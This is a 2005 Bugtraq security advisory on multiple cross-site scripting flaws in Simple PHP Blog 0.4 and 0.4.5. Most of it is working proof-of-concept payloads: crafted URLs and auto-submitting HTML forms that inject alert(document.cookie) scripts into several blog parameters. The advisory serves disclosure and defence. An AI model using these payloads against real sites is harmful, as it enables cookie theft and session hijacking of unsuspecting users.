Simple PHP Blog Multiple Input Validation Vulnerabilities

Bugtraq ID:	15283
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 02 2005 12:00AM
Updated:	Nov 02 2005 12:00AM
Credit:	[email protected] is credited with the discovery of this vulnerability.
Vulnerable:	Simple PHP Blog Simple PHP Blog 0.4.5 Simple PHP Blog Simple PHP Blog 0.4
Not Vulnerable:

Simple PHP Blog Multiple Input Validation Vulnerabilities

Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Simple PHP Blog Multiple Input Validation Vulnerabilities

No exploit is required.

Example URI and HTML code have been provided:

http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo"><script>alert(document.cookie)</script>

http://www.example.com/path-to-sphpblog/preview_cgi.php?entry=foo"><script>alert(document.cookie)</script>

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="file_name" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/>
<input name="scheme_file" value="blabla"/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value="myscheme"/>
<input name="scheme_file" value="blabla"/>
<input name="bg_color" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

Simple PHP Blog Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Simple PHP Blog Multiple Input Validation Vulnerabilities

References:

• Simple PHP Blog Homepage (Simple PHP Blog)
  
• Simple PHP Blog: Multiple XSS Vulnerabilities ([email protected])